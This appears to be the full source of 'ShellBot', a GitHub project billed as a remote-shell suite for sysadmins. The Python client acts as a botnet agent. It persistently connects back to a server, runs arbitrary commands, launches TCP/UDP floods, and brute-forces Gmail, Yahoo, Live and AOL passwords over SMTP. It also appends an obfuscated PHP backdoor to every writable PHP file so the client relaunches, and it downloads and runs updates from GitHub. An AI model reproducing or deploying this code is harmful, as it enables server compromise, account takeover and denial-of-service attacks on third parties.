├── .gitattributes ├── .github └── workflows │ └── docker-build.yml ├── .gitignore ├── LICENSE.md ├── README.md ├── _config.yml ├── client ├── backdoor.php ├── client.py └── selfUpdate.py ├── controller └── controller.py └── server ├── Dockerfile ├── docker_run.sh └── server.py /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | 4 | # Custom for Visual Studio 5 | *.cs diff=csharp 6 | 7 | # Standard to msysgit 8 | *.doc diff=astextplain 9 | *.DOC diff=astextplain 10 | *.docx diff=astextplain 11 | *.DOCX diff=astextplain 12 | *.dot diff=astextplain 13 | *.DOT diff=astextplain 14 | *.pdf diff=astextplain 15 | *.PDF diff=astextplain 16 | *.rtf diff=astextplain 17 | *.RTF diff=astextplain 18 | -------------------------------------------------------------------------------- /.github/workflows/docker-build.yml: -------------------------------------------------------------------------------- 1 | name: Build shellbot-server Docker Image 2 | 3 | on: 4 | push: 5 | branches: [ main ] 6 | 7 | jobs: 8 | build: 9 | runs-on: ubuntu-latest 10 | 11 | steps: 12 | # Checks-out your repository under $GITHUB_WORKSPACE, so your job can access it 13 | - uses: actions/checkout@v2 14 | with: 15 | ref: 'main' 16 | 17 | - name: Build and push Docker images 18 | uses: docker/build-push-action@v1.1.0 19 | with: 20 | username: ${{ secrets.DOCKER_USER }} 21 | password: ${{ secrets.DOCKER_PASS }} 22 | repository: sayakbrm/shellbot-server 23 | tags: latest,${{ github.sha }} 24 | path: ./server 25 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Windows image file caches 2 | Thumbs.db 3 | ehthumbs.db 4 | 5 | # Folder config file 6 | Desktop.ini 7 | 8 | # Recycle Bin used on file shares 9 | $RECYCLE.BIN/ 10 | 11 | # Windows Installer files 12 | *.cab 13 | *.msi 14 | *.msm 15 | *.msp 16 | 17 | # Windows shortcuts 18 | *.lnk 19 | 20 | # ========================= 21 | # Operating System Files 22 | # ========================= 23 | 24 | # OSX 25 | # ========================= 26 | 27 | .DS_Store 28 | .AppleDouble 29 | .LSOverride 30 | 31 | # Thumbnails 32 | ._* 33 | 34 | # Files that might appear in the root of a volume 35 | .DocumentRevisions-V100 36 | .fseventsd 37 | .Spotlight-V100 38 | .TemporaryItems 39 | .Trashes 40 | .VolumeIcon.icns 41 | 42 | # Directories potentially created on remote AFP share 43 | .AppleDB 44 | .AppleDesktop 45 | Network Trash Folder 46 | Temporary Items 47 | .apdisk 48 | client.exe 49 | client/client.spec 50 | client/client.ico 51 | *.pyc 52 | -------------------------------------------------------------------------------- /LICENSE.md: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 Sayak Brahmachari 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ShellBot 2 | 3 | [![FOSSA Status](https://app.fossa.com/api/projects/git%2Bgithub.com%2Fsayak-brm%2FShellBot.svg?type=shield)](https://app.fossa.com/projects/git%2Bgithub.com%2Fsayak-brm%2FShellBot?ref=badge_shield) 4 | 5 | ##### This project may be deprecated soon! 6 | 7 | I am currently coding another reverse shell utility based on the principles of this project, and will replace this utility when completed. Find out more and contribute to the developement [here](https://github.com/sayak-brm/ShellBot2). 8 | 9 | --- 10 | 11 | ShellBot is a cross-platform Remote Shell Suite where the Server can be managed 12 | by 1 Controller at a time. 13 | 14 | A server can accept several clients at once, and relay a chosen client's shell 15 | to the controller. 16 | 17 | This makes it easy for an SysAdmin to manage several computers with minimal 18 | setup in an internal network. 19 | 20 | The ShellBot suite is designed in such a way that it will not stop till a 21 | connection is achieved. All errors are handled internally and in case of a 22 | crash, the program automatically restarts. 23 | 24 | --- 25 | 26 | ## Features: 27 | 28 | ### Server: 29 | 30 | 1. Can handle multiple connections all at once. 31 | 1. The Controller’s connection requires a plain text password, it’s not the best 32 | security, but at-least it is better than nothing. Will be improved on in 33 | future revisions. 34 | 1. Kicks the Controller after 5 mins. (As the Server only accepts 1 controller 35 | at a time). _TODO: Make it 5 minutes after inactivity._ 36 | 37 | ### Client: 38 | 39 | 1. Infected PHP Backdooring Function. *(Linux Only)* 40 | 1. TCP Flood. 41 | 1. UDP Flood. 42 | 1. Gmail Bruteforcer. (Workaround Gmail's SMTP login) 43 | 1. MS Live Bruteforcer. 44 | 1. Yahoo Bruteforcer. 45 | 1. AOL Bruteforce. 46 | 1. Custome SMTP Bruteforcer. If found, the password will be saved as 47 | "password.txt" on the client. 48 | 1. OTA Updating. 49 | 1. Hardened Shell: Handles No Output, Wrong, Interactive and Infinite commands 50 | will result in losing the shell. 51 | 1. Can handle multiple commands separated by semi-colon (;). 52 | 1. Never closes and is always trying to connect to the Server. 53 | 1. Can handle almost any non-interactive command properly. 54 | 1. Uses very less resources. 55 | 1. Can be packaged into executables with tools like pyInstaller. 56 | 57 | ### Controller: 58 | 59 | 1. Handles `KeyboardInterrupts`, empty commands, etc. perfectly. 60 | 1. Easy user interface. 61 | 62 | **Note:** When trying to start the client through SSH, Terminal or any other 63 | interactive shell, it is advised to start the client in another process. This 64 | can be done in Linux with `nohup`. 65 | 66 | ## Example: 67 | 68 | ```sh 69 | nohup python3 client.py 15.48.158.15 1567 > /dev/null & 70 | 71 | nohup python3 client.py 15.48.158.15 1567 > /dev/null 2>&1 & 72 | ``` 73 | 74 | ## License 75 | 76 | [![FOSSA Status](https://app.fossa.com/api/projects/git%2Bgithub.com%2Fsayak-brm%2FShellBot.svg?type=large)](https://app.fossa.com/projects/git%2Bgithub.com%2Fsayak-brm%2FShellBot?ref=badge_large) 77 | -------------------------------------------------------------------------------- /_config.yml: -------------------------------------------------------------------------------- 1 | theme: jekyll-theme-hacker 2 | title: ShellBot -------------------------------------------------------------------------------- /client/backdoor.php: -------------------------------------------------------------------------------- 1 | 7 | $base64ids = array("A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "+", "/"); 8 | 9 | function binToDec($string) 10 | { 11 | $decimal = ""; 12 | for($i = 0; $i 132 | function sh3ll_this($string) 133 | { 134 | $key = "dotcppfile"; 135 | $outText = ''; 136 | 137 | for($i=0;$i 179 | function evalRel($command, $id) 180 | { 181 | global $shell_exec, $exec, $popen, $proc_open, $system, $passthru; 182 | if (($system == True) && ($id == 2)) 183 | { 184 | system($command); 185 | } 186 | else if(($passthru == True) && ($id == 2)) 187 | { 188 | passthru($command); 189 | } 190 | else if($shell_exec == True) 191 | { 192 | return shell_exec($command); 193 | } 194 | else if($exec == True) 195 | { 196 | return exec($command); 197 | } 198 | else if($popen == True) 199 | { 200 | $pid = popen( $command,"r"); 201 | while(!feof($pid)) 202 | { 203 | return fread($pid, 256); 204 | flush(); 205 | ob_flush(); 206 | usleep(100000); 207 | } 208 | pclose($pid); 209 | } 210 | else if($proc_open == True) 211 | { 212 | $process = proc_open( 213 | $command, 214 | array( 215 | 0 => array("pipe", "r"), //STDIN 216 | 1 => array("pipe", "w"), //STDOUT 217 | 2 => array("pipe", "w"), //STDERR 218 | ), 219 | $pipes 220 | ); 221 | 222 | if ($process !== false) 223 | { 224 | $stdout = stream_get_contents($pipes[1]); 225 | $stderr = stream_get_contents($pipes[2]); 226 | fclose($pipes[1]); 227 | fclose($pipes[2]); 228 | proc_close($process); 229 | } 230 | 231 | if ($stderr != "") 232 | { 233 | return $stderr; 234 | } 235 | else 236 | { 237 | return $stdout; 238 | } 239 | } 240 | else 241 | { 242 | return "False"; 243 | } 244 | } 245 | #<-- 246 | 247 | #Dynamic Booleans (True=Enabled/False=Disabled)--> 248 | $php_functions = array("exec", "shell_exec", "passthru", "system", "popen", "proc_open"); 249 | foreach($php_functions as $function) 250 | { 251 | if(checkIt($function)) 252 | { 253 | ${"{$function}"} = True; 254 | } 255 | else 256 | { 257 | ${"{$function}"} = False; 258 | } 259 | } 260 | #<-- 261 | 262 | $checker = evalRel("ps aux | grep '%s %s'", 1); 263 | 264 | if (strpos($checker, "python") === False) 265 | { 266 | evalRel("nohup %s %s %s %s > /dev/null 2>&1 &", 2); 267 | } 268 | ?> 269 | -------------------------------------------------------------------------------- /client/client.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | # MIT License 4 | ## 5 | # Copyright (c) 2017 Sayak Brahmachari 6 | ## 7 | # Permission is hereby granted, free of charge, to any person obtaining a copy 8 | # of this software and associated documentation files (the "Software"), to 9 | # deal in the Software without restriction, including without limitation the 10 | # rights to use, copy, modify, merge, publish, distribute, sublicense, and/or 11 | # sell copies of the Software, and to permit persons to whom the Software is 12 | # furnished to do so, subject to the following conditions: 13 | ## 14 | # The above copyright notice and this permission notice shall be included in 15 | # all copies or substantial portions of the Software. 16 | ## 17 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 18 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 19 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 20 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 21 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 22 | # FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS 23 | # IN THE SOFTWARE. 24 | 25 | import subprocess 26 | import os 27 | import sys 28 | import time 29 | import threading 30 | import smtplib 31 | import random 32 | import fnmatch 33 | import tempfile 34 | import socket 35 | import re 36 | import multiprocessing 37 | 38 | if len(sys.argv) == 3: 39 | host = sys.argv[1] 40 | port = int(sys.argv[2]) 41 | else: 42 | # Comment the below line and uncomment the next two for a pre-packaged client. 43 | #sys.exit("Usage: client.py ") 44 | print("Usage: client.py ") 45 | host = '127.0.0.1' 46 | port = 9999 47 | print("Using default values - {}:{}".format(host, port)) 48 | 49 | frozen = getattr(sys, 'frozen', False) 50 | 51 | 52 | def resource_path(relative_path): 53 | """ Get absolute path to resource, works for dev and for PyInstaller """ 54 | try: 55 | # PyInstaller creates a temp folder and stores path in _MEIPASS 56 | base_path = sys._MEIPASS 57 | except Exception: 58 | base_path = os.path.abspath(os.path.dirname(__file__)) 59 | 60 | return os.path.join(base_path, relative_path) 61 | 62 | 63 | temporary = open(resource_path('selfUpdate.py'), mode='r').read()\ 64 | .format(pid=os.getpid(), frozen=frozen, host=host, 65 | port=port, exe=sys.executable, arg=sys.argv[0]) 66 | backdoor = open(resource_path('backdoor.php'), mode='r').read()\ 67 | % (host, port, sys.executable, sys.argv[0], host, port) 68 | 69 | # Bruteforce Helper funcs 70 | 71 | 72 | def product(*args, **kwds): 73 | pools = list(map(tuple, args)) * kwds.get('repeat', 1) 74 | result = [[]] 75 | for pool in pools: 76 | result = [x+[y] for x in result for y in pool] 77 | for prod in result: 78 | yield tuple(prod) 79 | 80 | 81 | def repeat(obj, times=None): 82 | if times is None: 83 | while True: 84 | yield obj 85 | else: 86 | for _ in range(times): 87 | yield obj 88 | # Bruteforce Helper funcs END 89 | 90 | 91 | def selfUpdate(): 92 | filename = str(random.randint(1, 1000)) 93 | 94 | with open(filename+'.py', "w") as f: 95 | f.write(temporary) 96 | 97 | if sys.platform == "win32": 98 | runner = 'CreateObject("WScript.Shell").Run WScript.Arguments(0), 0' 99 | with open(tempfile.gettempdir() + "/runner.vbs", "w") as f: 100 | f.write(runner) 101 | if frozen: 102 | multiprocessing.Process(target=__import__, args=(filename,)) 103 | else: 104 | os.system(tempfile.gettempdir() + '/runner.vbs "{exe} {arg} {host} {port}"' 105 | .format(host=host, port=port, exe=sys.executable, arg=filename+'.py')) 106 | else: 107 | os.system("nohup {exe} {arg} {host} {port} > /dev/null 2>&1 &" 108 | .format(host=host, port=port, exe=sys.executable, arg=sys.argv[0])) 109 | 110 | 111 | def send_msg(sock, proc, sem): 112 | while True: 113 | if sem.acquire(False): 114 | return 115 | sock.send(proc.stdout.read(1)) 116 | 117 | 118 | def recv_msg(sock, proc, sem): 119 | while True: 120 | if sem.acquire(False): 121 | return 122 | data = sock.recv(20480) 123 | if len(data) > 0: 124 | proc.stdin.write(data) 125 | 126 | 127 | def find_files(directory, pattern): 128 | for root, _, files in os.walk(directory): 129 | for basename in files: 130 | if fnmatch.fnmatch(basename, pattern): 131 | filename = os.path.join(root, basename) 132 | yield filename 133 | 134 | 135 | def debackdoor(thedir): 136 | allphp = find_files(thedir, '*.php') 137 | 138 | for thefile in allphp: 139 | if (os.access(thefile, os.R_OK)) and (os.access(thefile, os.W_OK)): 140 | f = open(thefile, "r") 141 | inside = f.read() 142 | f.close() 143 | 144 | if "#WARNING: Clean base64id: 55a1983" not in inside: 145 | alllines = inside.split('\n') 146 | if alllines[len(alllines)-1] != "?>": 147 | global backdoor 148 | backdoor = "?>\n%s" % backdoor 149 | 150 | f = open(thefile, "a") 151 | f.write(backdoor) 152 | f.close() 153 | 154 | 155 | def rmbackdoor(thedir): 156 | allphp = find_files(thedir, '*.php') 157 | 158 | for thefile in allphp: 159 | if (os.access(thefile, os.R_OK)) and (os.access(thefile, os.W_OK)): 160 | f = open(thefile, "r") 161 | inside = f.read() 162 | f.close() 163 | 164 | if "#WARNING: Clean base64id: 55a1983" in inside: 165 | inside = inside.replace(backdoor, "") 166 | f = open(thefile, "w") 167 | f.write(inside) 168 | f.close() 169 | 170 | 171 | def savePass(password): 172 | f = open("password.txt", "w") 173 | f.write(password) 174 | f.close() 175 | 176 | 177 | def gmailbruteforce(email, combination, minimum, maximum): 178 | smtpserver = smtplib.SMTP("smtp.gmail.com", 587) 179 | smtpserver.starttls() 180 | smtpserver.ehlo() 181 | 182 | found = False 183 | 184 | for n in range(minimum, maximum+1): 185 | if not found: 186 | for w in product(combination, repeat=n): 187 | password = ''.join(w) 188 | try: 189 | smtpserver.login(email, password) 190 | except(smtplib.SMTPAuthenticationError) as msg: 191 | if "Please Log" in str(msg): 192 | savePass(password) 193 | found = True 194 | break 195 | else: 196 | break 197 | 198 | 199 | def popularbruteforce(cmd): 200 | bruteinfo = cmd[1].split(":") 201 | if cmd[0] == "yahoobruteforce": 202 | server = "smtp.mail.yahoo.com" 203 | elif cmd[0] == "livebruteforce": 204 | server = "stmp.aol.com" 205 | elif cmd[0] == "aolbruteforce": 206 | server = "smtp.live.com" 207 | t = threading.Thread(None, custombruteforce, None, (server, 587, bruteinfo[0], bruteinfo[1], 208 | bruteinfo[2], bruteinfo[3])) 209 | t.start() 210 | 211 | 212 | def custombruteforce(address, smtpport, email, combination, minimum, maximum): 213 | smtpserver = smtplib.SMTP(address, int(smtpport)) 214 | smtpserver.starttls() 215 | smtpserver.ehlo() 216 | 217 | found = False 218 | 219 | for n in range(minimum, maximum+1): 220 | if not found: 221 | for w in product(combination, repeat=n): 222 | password = ''.join(w) 223 | try: 224 | smtpserver.login(email, password) 225 | savePass(password) 226 | found = True 227 | break 228 | except: 229 | pass 230 | else: 231 | break 232 | 233 | 234 | class udpFlood(threading.Thread): 235 | def __init__(self, victimip, victimport): 236 | threading.Thread.__init__(self) 237 | self.victimip = victimip 238 | self.victimport = victimport 239 | 240 | def run(self): 241 | timeout = time.time() + 60 242 | while True: 243 | if time.time() <= timeout: 244 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 245 | s.connect((self.victimip, int(self.victimport))) 246 | tmp = 'A' * 65000 247 | s.send(bytes(tmp, 'utf-8')) 248 | else: 249 | break 250 | 251 | 252 | class tcpFlood(threading.Thread): 253 | def __init__(self, victimip, victimport): 254 | threading.Thread.__init__(self) 255 | self.victimip = victimip 256 | self.victimport = victimport 257 | 258 | def run(self): 259 | timeout = time.time() + 60 260 | while True: 261 | if time.time() <= timeout: 262 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 263 | s.settimeout(1) 264 | s.connect((self.victimip, int(self.victimport))) 265 | tmp = 'A' * 65000 266 | s.send(bytes(tmp, 'utf-8')) 267 | else: 268 | break 269 | 270 | 271 | def udpUnleach(victimip, victimport): 272 | threads = [] 273 | for _ in range(1, 21): 274 | thread = udpFlood(victimip, victimport) 275 | thread.start() 276 | threads.append(thread) 277 | 278 | for thread in threads: 279 | thread.join() 280 | 281 | 282 | def tcpUnleach(victimip, victimport): 283 | threads = [] 284 | for _ in range(1, 21): 285 | thread = tcpFlood(victimip, victimport) 286 | thread.start() 287 | threads.append(thread) 288 | 289 | for thread in threads: 290 | thread.join() 291 | 292 | 293 | def interact(s, command): 294 | commands = command.split() 295 | if len(commands) == 0: 296 | return 297 | if commands[0] == "cd": 298 | try: 299 | os.chdir(commands[1]) 300 | s.send(bytes(os.getcwd(), 'utf-8')) 301 | print("[INFO] Changed dir to %s" % os.getcwd()) 302 | except FileNotFoundError: 303 | s.send(bytes('[CLIENT - ERROR] Directory missing\n' 304 | + commands[1], 'utf-8')) 305 | print("[INFO] %s directory not found" % os.getcwd()) 306 | elif commands[0] in ["selfupdateall", "selfupdate"]: 307 | selfUpdate() 308 | return None 309 | elif commands[0] == "setbackdoor": 310 | try: 311 | debackdoor(commands[1]) 312 | s.send(bytes("[CLIENT] Backdoored\n", 'utf-8')) 313 | except: 314 | s.send(bytes("[CLIENT] Wrong arguments\n", 315 | 'utf-8')) 316 | elif commands[0] == "rmbackdoor": 317 | try: 318 | rmbackdoor(commands[1]) 319 | s.send(bytes("[CLIENT] Malicious PHP Removed\n", 320 | 'utf-8')) 321 | except: 322 | s.send(bytes("[CLIENT] Wrong arguments\n", 323 | 'utf-8')) 324 | elif commands[0] == "udpflood": 325 | try: 326 | udpinfo = commands[1].split(":") 327 | t = threading.Thread(None, udpUnleach, None, 328 | (udpinfo[0], udpinfo[1])) 329 | t.start() 330 | s.send(bytes("[CLIENT] Flooding started\n", 331 | 'utf-8')) 332 | except: 333 | s.send(bytes("[CLIENT] Failed to start Flooding\n", 334 | 'utf-8')) 335 | pass 336 | elif commands[0] == "udpfloodall": 337 | try: 338 | udpinfo = commands[1].split(":") 339 | t = threading.Thread(None, udpUnleach, None, 340 | (udpinfo[0], udpinfo[1])) 341 | t.start() 342 | except: 343 | pass 344 | elif commands[0] == "tcpflood": 345 | try: 346 | tcpinfo = commands[1].split(":") 347 | t = threading.Thread(None, tcpUnleach, None, (tcpinfo[0], 348 | tcpinfo[1])) 349 | t.start() 350 | s.send(bytes("[INFO] Flooding started\n", 351 | 'utf-8')) 352 | except: 353 | s.send(bytes("[ERROR] Failed to start Flooding\n", 354 | 'utf-8')) 355 | elif commands[0] == "tcpfloodall": 356 | try: 357 | tcpinfo = commands[1].split(":") 358 | t = threading.Thread(None, tcpUnleach, None, 359 | (tcpinfo[0], tcpinfo[1])) 360 | t.start() 361 | except: 362 | pass 363 | elif commands[0] == "gmailbruteforce": 364 | try: 365 | bruteinfo = commands[1].split(":") 366 | t = threading.Thread(None, gmailbruteforce, None, 367 | (bruteinfo[0], bruteinfo[1], 368 | bruteinfo[2], bruteinfo[3])) 369 | t.start() 370 | s.send(bytes("[CLIENT] Bruteforcing started\n", 371 | 'utf-8')) 372 | except: 373 | s.send(bytes("[CLIENT] Wrong arguments\n", 374 | 'utf-8')) 375 | elif commands[0] in ["yahoobruteforce", "livebruteforce", "aolbruteforce"]: 376 | try: 377 | popularbruteforce(commands) 378 | s.send(bytes("[CLIENT] Bruteforcing started\n", 379 | 'utf-8')) 380 | except: 381 | s.send(bytes("[CLIENT] Wrong arguments\n", 382 | 'utf-8')) 383 | elif commands[0] == "custombruteforce": 384 | try: 385 | bruteinfo = commands[1].split(":") 386 | t = threading.Thread(None, custombruteforce, None, 387 | (bruteinfo[0], bruteinfo[1], 388 | bruteinfo[2], bruteinfo[3], 389 | bruteinfo[4], bruteinfo[5])) 390 | t.start() 391 | s.send(bytes("[CLIENT] Bruteforcing started\n", 392 | 'utf-8')) 393 | except: 394 | s.send(bytes("[CLIENT] Wrong arguments\n", 395 | 'utf-8')) 396 | elif commands[0] == "hellows123": 397 | s.send(bytes(os.getcwd(), 'utf-8')) 398 | elif commands[0] == "quit": 399 | s.close() 400 | print("[INFO] Connection Closed") 401 | return True 402 | elif commands[0] == "rawexec": 403 | try: 404 | s.send(bytes("[INFO] Spawning {}\n".format(commands[1]), 'utf-8')) 405 | sem1 = threading.Semaphore() 406 | sem2 = threading.Semaphore() 407 | sem1.acquire(False) 408 | sem2.acquire(False) 409 | p = subprocess.Popen(' '.join(commands[1:]), shell=True, 410 | stdout=subprocess.PIPE, 411 | stderr=subprocess.STDOUT, 412 | stdin=subprocess.PIPE) 413 | sender = threading.Thread(target=send_msg, args=(s, p, sem1,)) 414 | recver = threading.Thread(target=recv_msg, args=(s, p, sem2,)) 415 | sender.daemon = True 416 | recver.daemon = True 417 | sender.start() 418 | recver.start() 419 | p.wait() 420 | sem1.release() 421 | sem2.release() 422 | while threading.active_count() > 1: 423 | pass 424 | s.send(bytes('stop', 'utf-8')) 425 | except Exception as ex: 426 | s.send(bytes('stop', 'utf-8')) 427 | time.sleep(1) 428 | s.send(bytes("[CLIENT] Error - {}\n".format(ex), 'utf-8')) 429 | else: 430 | thecommand = ' '.join(commands) 431 | pipe = subprocess.PIPE 432 | comm = subprocess.Popen(thecommand, shell=True, 433 | stdout=pipe, stderr=pipe, 434 | stdin=pipe) 435 | try: 436 | STDOUT, STDERR = comm.communicate(timeout=30) 437 | en_STDERR = STDERR.decode() 438 | en_STDOUT = STDOUT.decode() 439 | if en_STDERR == "": 440 | if en_STDOUT != "": 441 | print(en_STDOUT) 442 | s.send(bytes(en_STDOUT, 'utf-8')) 443 | else: 444 | s.send(bytes("[CLIENT] Command Executed", 445 | 'utf-8')) 446 | else: 447 | print(en_STDERR) 448 | s.send(bytes(en_STDERR, 'utf-8')) 449 | except subprocess.TimeoutExpired: 450 | comm.terminate() 451 | comm.kill() 452 | s.send(bytes("[CLIENT] Command Timed Out\n", 453 | 'utf-8')) 454 | STDOUT, STDERR = comm.communicate() 455 | en_STDERR = STDERR.decode() 456 | en_STDOUT = STDOUT.decode() 457 | if en_STDERR == "": 458 | if en_STDOUT != "": 459 | print(en_STDOUT) 460 | s.send(bytes(en_STDOUT, 'utf-8')) 461 | 462 | 463 | def main(host, port): 464 | while True: 465 | connected = False 466 | while True: 467 | while not connected: 468 | try: 469 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 470 | s.connect((host, port)) 471 | print("[INFO] Connected") 472 | connected = True 473 | except: 474 | time.sleep(5) 475 | 476 | try: 477 | msg = s.recv(20480).decode() 478 | print(msg) 479 | allofem = re.split(''';(?=(?:[^'"]|'[^']*'|"[^"]*")*$)''', msg) 480 | for onebyone in allofem: 481 | if interact(s, onebyone): 482 | break 483 | except KeyboardInterrupt: 484 | s.close() 485 | print("[INFO] Connection Closed") 486 | break 487 | except Exception as ex: 488 | s.close() 489 | print("[INFO] Connection Closed Due to Error:", ex, 490 | "\n", __import__('traceback').print_exc()) 491 | break 492 | 493 | 494 | if __name__ == '__main__': 495 | while True: 496 | try: 497 | main(host, port) 498 | except: 499 | time.sleep(5) 500 | -------------------------------------------------------------------------------- /client/selfUpdate.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import os 3 | import sys 4 | import urllib.request 5 | import tempfile 6 | import shutil 7 | import json 8 | 9 | 10 | def getURL(owner, repo, name): 11 | repoUrl = 'https://api.github.com/repos/{{}}/{{}}/releases/latest'\ 12 | .format(owner, repo) 13 | response = urllib.request.urlopen(repoUrl) 14 | 15 | json_val = json.loads(response.read().decode()) 16 | 17 | for file in json_val['assets']: 18 | if name == file['name']: 19 | return file['browser_download_url'] 20 | 21 | 22 | def download(fileUrl, file): 23 | with urllib.request.urlopen(fileUrl) as response, open(file, 'wb') as out_file: 24 | shutil.copyfileobj(response, out_file) 25 | 26 | 27 | def main(): 28 | if sys.platform == "win32": 29 | os.system("taskkill /F /T /PID {pid}") 30 | else: 31 | os.system("kill {pid}") 32 | 33 | if {frozen}: 34 | url = getURL('sayak-brm', 'ShellBot', 'client.exe') 35 | download(url, r"{exe}") 36 | else: 37 | url = getURL('sayak-brm', 'ShellBot', 'client.py') 38 | download(url, r"{arg}") 39 | 40 | if sys.platform == "win32": 41 | if {frozen}: 42 | os.system(r"{exe} {host} {port}") 43 | else: 44 | runner = 'CreateObject("WScript.Shell").Run WScript.Arguments(0), 0' 45 | with open(tempfile.gettempdir() + r"/runner.vbs", "w") as f: 46 | f.write(runner) 47 | os.system(tempfile.gettempdir() + 48 | r'/runner.vbs "{exe} {arg} {host} {port}"') 49 | else: 50 | os.system(r"nohup {exe} {arg} {host} {port} > /dev/null 2>&1 &") 51 | 52 | 53 | if __name__ is '__main__': 54 | main() 55 | -------------------------------------------------------------------------------- /controller/controller.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | # MIT License 4 | ## 5 | # Copyright (c) 2017 Sayak Brahmachari 6 | ## 7 | # Permission is hereby granted, free of charge, to any person obtaining a copy 8 | # of this software and associated documentation files (the "Software"), to 9 | # deal in the Software without restriction, including without limitation the 10 | # rights to use, copy, modify, merge, publish, distribute, sublicense, and/or 11 | # sell copies of the Software, and to permit persons to whom the Software is 12 | # furnished to do so, subject to the following conditions: 13 | ## 14 | # The above copyright notice and this permission notice shall be included in 15 | # all copies or substantial portions of the Software. 16 | ## 17 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 18 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 19 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 20 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 21 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 22 | # FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS 23 | # IN THE SOFTWARE. 24 | 25 | import os 26 | import sys 27 | import socket 28 | import re 29 | import threading 30 | 31 | about = r"""\ 32 | ____ ____ ____ ____ ____ ____ ____ ____ 33 | ||S |||h |||e |||l |||l |||B |||o |||t || 34 | ||__|||__|||__|||__|||__|||__|||__|||__|| 35 | |/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\| 36 | 37 | Coded by: Sayak Brahmachari 38 | GitHub: https://github.com/sayak-brm 39 | Website: http://mctrl.ml 40 | """ 41 | usage = "Usage: client.py " 42 | commands = """ 43 | 44 | Primary: 45 | -------- 46 | refresh | Refresh connections 47 | list | List connections 48 | clear | Clear the console 49 | quit | Close all connections and quit 50 | about | Display program details 51 | help | Show this message 52 | 53 | Client Interaction: 54 | ------------------- 55 | interact | Interact with client 56 | rawexec | Execute a binary and pipe the raw I/O to the 57 | controller. (Unstable) 58 | stop | Stop interacting with client 59 | udpflood : | UDP flood with client 60 | tcpflood : | TCP flood with client 61 | setbackdoor | Infects all PHP Pages with Malicious Code that will 62 | run the ShellBot Client (if killed) again. (Linux) 63 | rmbackdoor | Removes the Malicious PHP Code. (linux) 64 | Note: Commands sent to clients must not contain semi-colons (;) except when 65 | combining multiple lines or within quotes. 66 | 67 | Wide Commands: 68 | -------------- 69 | udpfloodall : | Same as `udpflood` but for All clients 70 | tcpfloodall : | Same as `tcpflood` but for All clients 71 | selfupdateall | Update all Clients with the new version from Github 72 | 73 | Bruteforce: 74 | ----------- 75 | gmailbruteforce ::: 76 | yahoobruteforce ::: 77 | livebruteforce ::: 78 | aolbruteforce ::: 79 | Example: gmailbruteforce someone@gmail.com:0123456789:6:8 80 | custombruteforce
